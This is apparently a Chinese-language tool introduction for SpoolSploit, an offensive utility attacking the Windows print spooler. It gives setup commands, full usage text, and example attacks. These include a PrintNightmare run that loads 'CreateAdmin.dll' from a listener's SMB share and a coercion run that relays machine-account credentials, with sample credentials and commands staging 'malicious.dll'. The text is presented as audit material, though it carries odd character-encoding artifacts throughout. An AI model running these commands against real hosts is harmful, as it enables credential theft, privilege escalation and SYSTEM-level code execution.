[[439991]]

關(guān)于SpoolSploit

SpoolSploit是一款針對(duì)Windows打印后臺(tái)處理程序(print spooler)的安全審計(jì)工具，廣大研究人員可以使用SpoolSploit檢測Windows打印后臺(tái)處理程序(print spooler)中存在的安全漏洞，并通過實(shí)際的利用技術(shù)來進(jìn)行滲透測試或安全審計(jì)。

SpoolSploit中還封裝了很多其他的實(shí)用工具，以便進(jìn)行實(shí)際的漏洞利用和滲透測試。并實(shí)現(xiàn)了兩種方法來中繼計(jì)算機(jī)帳戶憑據(jù)，以升級(jí)權(quán)限并在具有完全系統(tǒng)訪問權(quán)限的節(jié)點(diǎn)上執(zhí)行惡意DLL。

快速開始

自該項(xiàng)目發(fā)布之日起，SpoolSploit Docker容器已在最新版本的macOS、Ubuntu Linux和Windows 10上成功測試。

我們建議廣大用戶在SpoolSploit Docker容器內(nèi)執(zhí)行滲透測試或憑據(jù)中繼測試，并托管相應(yīng)的DLL文件，然后確保運(yùn)行Docker容器的主機(jī)上開啟并未使用的445端口。在Windows主機(jī)上運(yùn)行此容器時(shí)，這種情況最為普遍，因?yàn)槟J(rèn)情況下它使用的是端口445。如果你的主機(jī)上端口445已被占用或無法使用的話，可以在網(wǎng)橋模式下配置了網(wǎng)絡(luò)適配器的虛擬機(jī)中運(yùn)行Docker容器即可。

(1) 工具下載&訪問SpoolSploit容器

首先，使用下列命令將該項(xiàng)目源碼克隆至本地：

git clone https://github.com/BeetleChunks/SpoolSploit 

接下來，構(gòu)建SpoolSploit Docker容器鏡像：

cd SpoolSploit 
 
sudo docker build -t spoolsploit . 

創(chuàng)建并啟動(dòng)SpoolSploit Docker容器：

sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest 

綁定容器：

sudo docker exec -it spoolsploit /bin/bash 

(2) 命令行使用

usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD 
 
optional arguments: 
 
  -h, --help               顯示幫助信息并退出 
 
  -a {spoolsample,nightmare}, --attack {spoolsample,nightmare} 
 
                        需要在目標(biāo)主機(jī)上執(zhí)行的測試類型 
 
  -rH RHOST, --rhost RHOST 
 
                        遠(yuǎn)程目標(biāo)IP、CIDR范圍或文件名 (file:<path>) 
 
  -rP {139,445}, --rport {139,445} 
 
                        遠(yuǎn)程SMB服務(wù)器端口 
 
  -lH LHOST, --lhost LHOST 
 
                        監(jiān)聽主機(jī)名或IP地址 
 
  -lS LSHARE, --lshare LSHARE 
 
                        SMB共享 (UNC) 
 
  -d DOMAIN, --domain DOMAIN 
 
                        身份認(rèn)證域名 
 
  -u USER, --username USER 
 
                        身份認(rèn)證用戶名 
 
  -p PASSWD, --password PASSWD 
 
                        身份認(rèn)證密碼 

工機(jī)使用樣例

使用樣例1：

python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 

使用樣例2：

python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10 

SpoolSample - Windows設(shè)備賬號(hào)憑證獲取和中繼

sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/ 
 
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' 

工具使用截圖

項(xiàng)目地址

SpoolSploit：【GitHub傳送門】